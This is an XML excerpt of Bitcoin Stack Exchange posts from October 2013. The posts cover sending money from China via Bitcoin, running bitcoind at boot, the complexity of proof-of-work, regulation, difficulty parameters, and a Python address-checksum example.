  <row Id="13792" PostTypeId="1" CreationDate="2013-10-16T00:17:32.050" Score="1" ViewCount="4247" Body="&lt;p&gt;I came from China and am a international student in U.S.. My family would like to transfer some money to me for my tuition and living expenses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transferring via banks incurs fees, and loss of money value due to the difference between change rates from RMB to U.S. dollars and the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can bitcoin be used for transferring money with less cost? I am totally new to Bitcoin, and will appreciate your advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="21370" LastActivityDate="2013-10-27T15:14:36.133" Title="Is it possible to transfer money from another country to the U.S.?" Tags="|money-transfer|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13794" PostTypeId="2" ParentId="13792" CreationDate="2013-10-16T01:02:42.307" Score="2" Body="&lt;p&gt;Yes. This is a textbook benefit of Bitcoin. The only fees you will see in transfer are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cost to convert CNY to Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin transaction fee (0.0001 BTC generally)&lt;/li&gt;&#xA;&lt;li&gt;cost to convert Bitcoin to USD, if you can't find some way to spend your Bitcoin without conversion&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You're likely to pay only a couple percent &lt;em&gt;tops&lt;/em&gt;, so it's guaranteed to be cheaper.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-10-16T01:02:42.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13795" PostTypeId="1" CreationDate="2013-10-16T01:31:51.803" Score="21" ViewCount="34306" Body="&lt;p&gt;I've got a bunch of other services set up to boot automatically when my Ubuntu server starts (services like wicd-daemon and VPN), but I can't figure out how to set up the bitcoin daemon (bitcoind) to start automatically when the system boots up. (This is on a headless system with no GUI or attached monitor.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to learn how to integrate bitcoin with Python so I can write bitcoin-enabled services, but I want the system to automatically start bitcoind when the system boots so that I don't have to do it manually. (It's a pain in the butt to have to download a whole bunch of block-chain at once. It eats away at uptime.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this question has already been asked, please direct me to the answer. I searched but couldn't find it. Otherwise, please help me figure this out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="7114" LastActivityDate="2019-11-27T16:29:04.130" Title="Ubuntu Linux -- How do I start bitcoind as a service to run automatically?" Tags="|bitcoind|services|server|ubuntu|daemon|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13796" PostTypeId="1" AcceptedAnswerId="21599" CreationDate="2013-10-16T01:44:19.440" Score="9" ViewCount="3573" Body="&lt;p&gt;To formulate this question precisely, I will define an idealized hypothetical &quot;perfect&quot; hash function H(n) which has nice scalability properties, and will formulate a problem PERFECT HASHCASH in terms of that, understanding that practical considerations may end up yielding only an approximation of this ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep it simple, we will say that our hash function H(n) takes as input a single natural number n. Then we say that H(n) is a &lt;strong&gt;perfect hash function&lt;/strong&gt; iff:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;H(n) maps each natural number to an infinite binary sequence, of which the time complexity to compute any initial segment s is polynomial in the size of n and s, (making it a &lt;a href=&quot;http://en.wikipedia.org/wiki/Sponge_function&quot; rel=&quot;nofollow&quot;&gt;sponge function&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;For any initial segment of length d, the set of all natural numbers n such that H(n) shares that initial segment has &lt;a href=&quot;http://en.wikipedia.org/wiki/Natural_density&quot; rel=&quot;nofollow&quot;&gt;natural density&lt;/a&gt; = 1/(2^d).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first thing formalizes the scalability of our function, and the second thing formalizes the idea that we want all hashes to appear roughly &quot;equally often&quot; as an output. Other than that, our perfect hash function is a black box, and we don't care much about exactly how it works, so long as it meets the above properties, as well as the usual desiderata applying to hash functions (easy to compute, hard to invert, hard to find collisions, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Predicated on the assumption that a perfect hash function exists, we can now define the problem &lt;strong&gt;PERFECT HASHCASH&lt;/strong&gt; as follows: PERFECT HASHCASH takes as input a perfect hash function H, a natural number n, and an all-zeroes vector 0^d of length d, which can be thought of as a unary representation of d. A solution to PERFECT HASHCASH consists of an n and d such that H(n) starts with 0^d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given those inputs, it is clear that PERFECT HASHCASH is in the complexity class &lt;a href=&quot;http://en.wikipedia.org/wiki/TFNP&quot; rel=&quot;nofollow&quot;&gt;TFNP&lt;/a&gt;, since this is a function problem and a solution is guaranteed to exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can we also identify PERFECT HASHCASH as a member of any complexity class finer than TFNP?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it perhaps be in &lt;a href=&quot;http://en.wikipedia.org/wiki/PPP_%28complexity%29&quot; rel=&quot;nofollow&quot;&gt;PPP&lt;/a&gt;? &lt;a href=&quot;http://en.wikipedia.org/wiki/PPA_%28complexity%29&quot; rel=&quot;nofollow&quot;&gt;PPA&lt;/a&gt;? &lt;a href=&quot;http://en.wikipedia.org/wiki/PPAD&quot; rel=&quot;nofollow&quot;&gt;PPAD&lt;/a&gt;? Something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For background, see &lt;a href=&quot;http://en.wikipedia.org/wiki/Complexity_class&quot; rel=&quot;nofollow&quot;&gt;Complexity class&lt;/a&gt; on Wikipedia.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: the above question has been overhauled, as in the way that I originally formulated it I assumed that SHA256 is what I'm now calling a perfect hash function. Many people have noted in the comments that this may not be true, so rather than place the emphasis in this question on whether SHA256 specifically has the nice scaling properties we want, I defined an idealized hash function that we hope SHA256 at least approximates nicely enough for real-world purposes, and rephrased the question in terms of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final note to clear up any potential confusion, to make PERFECT HASHCASH resemble real Hashcash, we'd have to make one more assumption: that there exists some way to start with a block of data (an email, a Bitcoin block, etc) and somehow derive a characteristic perfect hash function from that, perhaps by &quot;salting&quot; a different perfect hash function in a way that the result is also another perfect hash function. So in the case of a &quot;perfect Bitcoin,&quot; all of the miners on the bitcoin network would be working with their own unique perfect hash functions H'(n) which are somehow tied to the block they're working on, and each miner would simply try H'(0), H'(1), H'(2), ... in order until they find something starting with enough 0's. Each H' would be a different input to PERFECT HASHCASH.&lt;/p&gt;&#xA;" OwnerUserId="6881" LastEditorUserId="5406" LastEditDate="2021-03-06T19:36:34.443" LastActivityDate="2021-03-06T19:36:34.443" Title="What complexity class is Bitcoin's proof-of-work (hashcash) in?" Tags="|hash|cryptography|algorithms|" AnswerCount="1" CommentCount="19" ContentLicense="CC BY-SA 3.0" />
  <row Id="13797" PostTypeId="2" ParentId="13795" CreationDate="2013-10-16T01:55:44.173" Score="1" Body="&lt;p&gt;This seems to be your answer: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25518.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=25518.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-16T01:55:44.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13798" PostTypeId="2" ParentId="13788" CreationDate="2013-10-16T02:47:14.253" Score="1" Body="&lt;p&gt;Right now Bitcoin is the round peg in the regulator's square hole.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin is deemed to be a security, then certain restrictions might apply on how it is bought, sold, and held.  But Bitcoins themselves are not a debt, or a promise, or anything similar so it probably isn't a security.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin is deemed to be a commodity, then certain restrictions might apply on how it is traded, if delivery to the buyer is at some point in the future -- as is the nature of most commodity transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin is deemed to be a foreign currency, then certain restrictions could apply there as well.   FinCEN has explicitly stated that it does not see Bitcoin as a foreign currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But almost nowhere is there a restriction about acquiring a good, such as like what Bitcoin exchanges provide.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-16T02:47:14.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13799" PostTypeId="2" ParentId="12670" CreationDate="2013-10-16T03:43:38.527" Score="8" Body="&lt;p&gt;One of the major reasons standing in the way of profiting from arbitrage opportunities has to do with &quot;volume&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The volume for either exchanges is not high enough yet to support big trades. Large profits require large trades (in arbitrage). Making $1,000 may be feasible between exchanges, but that's an extreme best case scenario and using 10k in capital! Moving trades upwards of 100k would be just plain stupid if even possible in such a low volume market. Chances are if your arbitrage trade is big enough to profit from, it will move the market against you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arbitrage in the finance world is done with millions and millions of dollars and for fractions of a second. That just isn't possible with Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="7115" LastEditorUserId="42185" LastEditDate="2017-08-02T21:54:54.080" LastActivityDate="2017-08-02T21:54:54.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13800" PostTypeId="2" ParentId="13780" CreationDate="2013-10-16T05:16:35.097" Score="1" Body="&lt;p&gt;Cryptography-based currencies predate Bitcoin by decades. The most well-known is the work of David Chaum on blind signatures, described in some papers from around 1985. The most accessible description of his and other methods is actually &lt;a href=&quot;http://groups.csail.mit.edu/mac/classes/6.805/articles/money/nsamint/nsamint.htm&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; document from 1996.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 1990 Chaum went on to found a company, called DigiCash, to offer such a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What they offered had a lot going for it - you could store money as data on your computer, and you could transfer it anonymously. However, what it lacked was a decentralized transaction synchronization mechanism - synchronization was done on the company's central servers. Because of this, it did not achieve the support Bitcoin did, and the company went bankrupt in 1998.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more modern platform is Open Transaction which is inspired by Chaum's ideas but offers much more functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the reason you don't hear about centralized crypto-currencies is not because they don't exist, but because they're mostly pointless. Only with the advent of decentralized transaction synchronization in Bitcoin and its clones we saw growth in this space beyond just academia.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-16T05:16:35.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13801" PostTypeId="1" CreationDate="2013-10-16T05:32:45.387" Score="0" ViewCount="328" Body="&lt;p&gt;I'm wondering if I can manage my bitcoins with my other securities? Or incorporate them into a business plan.&lt;/p&gt;&#xA;" OwnerUserId="7117" LastEditorUserId="5406" LastEditDate="2014-02-09T09:56:08.037" LastActivityDate="2022-08-09T06:06:18.020" Title="Can Bitcoin be used in QuickBooks?" Tags="|banks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13802" PostTypeId="1" AcceptedAnswerId="13820" CreationDate="2013-10-16T06:04:28.597" Score="0" ViewCount="373" Body="&lt;p&gt;I am trying to run rippled, but it is stating that I am missing [node_db] from rippled.cfg. In that file I can see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Note that HyperLevelDB is unavailable on Windows platforms&#xA;#&#xA;[node_db]&#xA;type=HyperLevelDB&#xA;path=db/hyperldb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I put in for [node_db] on Windows?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-16T21:01:03.450" Title="In rippled.cfg, what to use for [node_db] on Windows?" Tags="|ripple|windows|ripple-client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13803" PostTypeId="1" CreationDate="2013-10-16T07:02:32.490" Score="4" ViewCount="1639" Body="&lt;p&gt;&lt;strong&gt;I'm assuming difficulty has a &quot;target&quot; of 10 minutes because the coefficient satoshi chose becomes multiplied by a variable to help the network remain in proportion.&lt;/strong&gt; IE, if the network hashrate is 2x the previous network hashrate, &lt;code&gt;bnProofOfWorkLimit&lt;/code&gt; is multiplied by the previous difficulty and also by 2, which is the measurement of how much faster the network is producing hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty simple to understand. However, I've been wondering about how the original difficulty was chosen so that the target is 10 minutes. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it based on some hard physical limit of computing? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've come across this code in &lt;code&gt;chainparams.h&lt;/code&gt; on line &lt;code&gt;113&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bnProofOfWorkLimit = CBigNum(~uint256(0) &amp;gt;&amp;gt; 32);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What does &lt;code&gt;~uint256(0)&lt;/code&gt; mean in C++? I know that &lt;code&gt;~uint256(0) &amp;gt;&amp;gt; 32&lt;/code&gt; means &lt;code&gt;1 / 2^24&lt;/code&gt; in human-readable terms.&lt;/li&gt;&#xA;&lt;li&gt;Why is the &lt;code&gt;~uint256(0)&lt;/code&gt; function used instead of simply &lt;code&gt;256&lt;/code&gt;? &lt;/li&gt;&#xA;&lt;li&gt;Why was this chosen to be expressed as &lt;code&gt;256 &amp;gt;&amp;gt; 32&lt;/code&gt; rather than &lt;code&gt;1 &amp;gt;&amp;gt; 24&lt;/code&gt;? Is there a good reason for this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Any direction to learn more about this would be appreciated as well&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am not asking why the amount of time chosen was equal to 10 minutes, I am asking how the number &lt;code&gt;1 / 2^24&lt;/code&gt; was arrived at to estimate 10 minutes in terms of how long it takes to calculate a sha256 digest.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="5406" LastEditDate="2016-03-10T09:52:27.570" LastActivityDate="2016-03-10T09:52:27.570" Title="how exactly was the original coefficient for difficulty determined?" Tags="|blockchain|difficulty|satoshi-nakamoto|block-interval|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13804" PostTypeId="2" ParentId="13792" CreationDate="2013-10-16T08:11:05.937" Score="2" Body="&lt;p&gt;Conversions between Bitcoin and fiat do incur friction.  Sometime this friction is in cost, convenience, delays, or a combination of all thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for instance if the potential that delays occur would not be a huge problem then you could try to minimize the cost (or even earn a premium) by making local trades.  With a local listing there's no guarantee that a trade can be found promptly or that the price required to attract a trading counterparty is desirable but when conditions are favorable bitcoin can serve quite well as a remittance method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things can vary day-to-day, and location-to-location.  Because there may not be many buyers willing to pay cash in China for a local trade, it may be possible that Bitcoins there can be bought below spot.  Then the bitcoins can be sold abroad -- with the possibility of the selling price being above spot price even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is potential upside to using Bitcoin as a type of remittance as you describe.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-16T08:11:05.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13805" PostTypeId="2" ParentId="13779" CreationDate="2013-10-16T11:01:29.503" Score="6" Body="&lt;p&gt;If it is the format and the checksum then that can be easily done. Specifically you can use steps 4 to 9 in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;technical description of Addresses&lt;/a&gt; to check for typos. Beyond that however it gets difficult&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access blockchain information such as the current balance you cannot unless you have a copy of the blockchain somewhere, and on a phone or tablet disk space is still too precious for that. For that you'll need to rely on some external service or sacrifice disk space to track the blockchain in its entirety.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that Andreas' Bitcoin Wallet only selectively tracks addresses that were known while synchronizing with the network, so if the addresses you'll eventually be interested in are known in advance you could also selectively sync those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: as requested here is the reversed example from the documentation, as python code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;&#xA;# Take the address as input, using the sample address from the&#xA;# technical description to follow along&#xA;address = &quot;16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM&quot;&#xA;&#xA;# Decode into 25 bytes (0x00 for the network identifier, 20 byte&#xA;# RIPE-160 hash and 4 byte checksum&#xA;decoded_address = b58decode(address,25)&#xA;&#xA;# Print as hex, should match step 8 in the docs&#xA;print decoded_address.encode(&quot;hex&quot;)&#xA;&#xA;# Slice into its components&#xA;network_id = decoded_address[0]&#xA;private_key_hash = decoded_address[1:21]&#xA;checksum = decoded_address[-4:]&#xA;&#xA;if network_id != chr(0):&#xA;    print &quot;ERROR: not a Bitcoin Main Net address&quot;&#xA;&#xA;# Print the private key hash as hex, matches step 4 in the docs&#xA;print private_key_hash.encode(&quot;hex&quot;)&#xA;&#xA;# Print the checksum as hex, matches step 7 from the docs&#xA;print checksum.encode(&quot;hex&quot;)&#xA;&#xA;# Now we can check the checksum to reduce chances of typos&#xA;# Print first round of hashing (docs step 5)&#xA;hash1 = hashlib.sha256(network_id + private_key_hash).digest()&#xA;print hash1.encode(&quot;hex&quot;)&#xA;&#xA;# Print second round of hashing (docs step 6)&#xA;hash2 = hashlib.sha256(hash1).digest()&#xA;print hash2.encode(&quot;hex&quot;)&#xA;&#xA;# And finally verify that the checksum we extracted from the address&#xA;# and the one we just calculated match&#xA;&#xA;if checksum == hash2[:4]:&#xA;    print &quot;Everything ok, checksums match&quot;&#xA;else:&#xA;    print &quot;The end is nigh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sadly we can't go any further in verifying without further information, like the actual public key.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-10-16T20:06:57.093" LastActivityDate="2013-10-16T20:06:57.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13806" PostTypeId="2" ParentId="13792" CreationDate="2013-10-16T11:36:02.930" Score="3" Body="&lt;p&gt;You can certainly transfer fees internationally with Bitcoin, and in many cases this is a great way to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep some things in mind, however. For one, you will have to pay conversion fees when you convert from currency, to Bitcoin, and then back into currency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, with some exchanges and traders it can take awhile to convert your Bitcoins into money. The Bitcoin system is growing, but it's not as efficient as a bank or wire transfer, at least not yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, as you are trying to conduct your transfer, Bitcoin prices can swing up and down. If Bitcoin prices go up, good for you, you'll make extra money. If Bitcoin prices drop, however, you could end up losing more money than if you just went with a bank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are new to Bitcoin, I'd wait another semester before using this method. You should familiarize yourself with the whole system first before conducting such transactions.  &lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T11:36:02.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13807" PostTypeId="2" ParentId="13801" CreationDate="2013-10-16T11:39:25.120" Score="0" Body="&lt;p&gt;You can use Bitpay now for some quickbooks transactions. Their software will allow you to track all of your transactions, which can obviously be quite helpful for any business accepting Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have questions about this, you should check out Bitpay. As I understand they've actually set up a separate help desk just to help Bitcoin users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitpay is a highly reputable company based in the US and it's backed by Silicon Valley venture capital, just in case you're wondering.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T11:39:25.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13808" PostTypeId="2" ParentId="13788" CreationDate="2013-10-16T11:44:36.517" Score="1" Body="&lt;p&gt;Regulators have not yet really figured out how to deal with Bitcoin, so things can change in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted, however, that a Federal judge in Texas has ruled that Bitcoin is a legal currency. This came about when a guy set up a Bitcoin ponzi scheme and then tried to claim that he couldn't be persecuted because Bitcoin isn't a real currency. Fortunately, the courts disagreed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to think of it is this: When you exchange for Bitcoin, you are basically buying Bitcoins. Generally speaking, you are only forbidden from buying things that are expressively forbidden by law (i.e. drugs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, there is no government regulation that says that you cannot buy Bitcoin. And most likely for the government to set up a regulation against buying Bitcoins, it would have to prove that Bitcoins are harming the generally public (as is their argument in regards to drugs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I doubt the government could make that case, and even if it wanted to, there are far more important things on their books.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If and when the government gets serious about regulating Bitcoin transactions, it will most likely focus on drug purchases, money laundering, and things that are illegal regardless of the currency used.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T11:44:36.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13809" PostTypeId="2" ParentId="13781" CreationDate="2013-10-16T11:49:07.037" Score="1" Body="&lt;p&gt;The simplest way to explain it is that it is an alternative currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is just going to prompt more questions. So why not use a different example. Explain it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Bitcoin could be thought of as a commodity, like gold, that people purchase to invest it. Let's say I have a Gold Bullion coin worth USD 1,600, and you have a software program that costs USD 1,600. I could then offer to use my Gold Coin to buy your software program. I get the software program, you get the coin. You can then choose to sell the coin now for the USD 1,600, or you could hold on to it to see if its value appreciates.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Just my personal opinion. If merchants aren't already accepting Bitcoins, they probably won't start right away. However, explaining it to them could generate interest in the currency, so in the future they might start accepting it. Again, just my opinion!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T11:49:07.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13810" PostTypeId="2" ParentId="13780" CreationDate="2013-10-16T11:52:42.220" Score="-1" Body="&lt;p&gt;As others have pointed out, crypto-currencies are not a new thing and have been around for decades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One currency that might meet your criteria is litecoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin is still an opensource, community driven currency,  it's not quite a &quot;centralized&quot; currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, the company developing Litecoin is taking a more hands on approach and trying to offer a bit more support for the currency. Whether that's a good or bad thing, only time will tell.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T11:52:42.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13811" PostTypeId="2" ParentId="13670" CreationDate="2013-10-16T12:00:30.670" Score="-1" Body="&lt;p&gt;Whatever mining rig you buy, it will eventually grow obsolete. This is because the algorithm behind Bitcoin is growing increasingly complex. Now, as more people buy mining rigs and mining pools grow in size, the algorithm will only begin to increase in difficult at a faster rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, mining is a high-risk, high-reward investment. If you buy the right rig at the right time, and prices for Bitcoin stay up, you can make a great deal of money. If Bitcoin prices drop, however, you will lose money. That's the nature of the game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are thinking about buying a Bitcoin rig, you need to plot out how many Bitcoins you can expect to mine with that rig (you'd have to use current and projected hashrates to computate that). Then you'd have to project how much money these Bitcoins would be work at current prices, and also project how much you'd earn if prices jumped by certain amounts (10% 25% 50%, etc.) or dropped by certain amounts.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T12:00:30.670" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13812" PostTypeId="2" ParentId="13557" CreationDate="2013-10-16T12:04:42.047" Score="0" Body="&lt;p&gt;So far, the FBI has seized about 26,000 Bitcoins from Silk Road users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FBI has been trying to gain access to the 600,000 Bitcoins owned by Ulbricht, but the last I checked they still haven't been able to. If nothing else, this proves how secure Bitcoin can be.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-16T12:04:42.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13814" PostTypeId="2" ParentId="13803" CreationDate="2013-10-16T12:29:26.713" Score="11" Body="&lt;p&gt;I'm not sure it was. When the network started operating (and Satoshi was pretty much the only one mining), blocks weren't found every 10 minutes. For example, the first 2016 blocks were found in 24 days rather than 2 weeks. Normally this would cause the target to go up but it can't go above the hardcoded max target, so only in block &lt;a href=&quot;https://blockchain.info/block/000000004f2886a170adb7204cb0c7a824217dd24d11a74423d564c4e0904967&quot;&gt;32256&lt;/a&gt; in December 30 2009 we started seeing the retarget mechanism kicking in and blocks arriving every 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, seeing that it did come out close to 10 minutes, it's possible Satoshi figured out the hashrate of his own machine, and chose the parameter as a round number close to what it would take to find a block every 10 minutes on his hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you did not understand this line of code correctly. Hash values are represented as 256-bit unsigned integers. uint256(0) gives the representation of 0 in this data type. ~ is logical not and ~uint256(0) inverts all bits, giving the highest possible integer, 2^256-1. Right shifting by 32 bits gives 2^224-1, so that each hash has a chance of 1/2^32 to be lower than the max target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is then converted to the more compact &quot;bits&quot; form, which also causes it to be rounded to (2^16-1)*2^208.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing 256&gt;&gt;32 or 1&gt;&gt;24 would have resulted in 0 since integer types can't hold fractions.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-16T12:29:26.713" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13815" PostTypeId="2" ParentId="13803" CreationDate="2013-10-16T12:30:52.457" Score="3" Body="&lt;p&gt;The first difficulty was just simply the hardcoded mininum of 1. This didn't correspond to ten minutes initially, it was actually too high for the networks hashing power. The difficulty increased for the first time almost a year later on the 30th of December 2009.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an overview of the difficulty adjustment you can refer to this table: &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc#gid=0&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Difficulty Adjustments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-16T12:30:52.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13817" PostTypeId="1" CreationDate="2013-10-16T14:00:03.800" Score="2" ViewCount="677" Body="&lt;p&gt;I've been mining with ASIC miners for a short while on Mac OS X and recently bought a few BlueFury BF1 miners but no matter what I can't get them to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bfgminer 3.3.0 states:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/dev/cu.usbmodem1d11 is already in use by another process&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And bitminter and cgminer do nothing.&lt;/p&gt;&#xA;" OwnerUserId="7119" LastEditorUserId="2306" LastEditDate="2016-04-26T23:11:47.750" LastActivityDate="2016-04-26T23:11:47.750" Title="BlueFury BF1 and Mac OS X" Tags="|asic|cgminer|bfgminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13818" PostTypeId="2" ParentId="13781" CreationDate="2013-10-16T15:18:06.017" Score="0" Body="&lt;p&gt;I think this is perfectly suited to an online merchant audience:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitpay.com/home&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/home&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-10-16T15:18:06.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
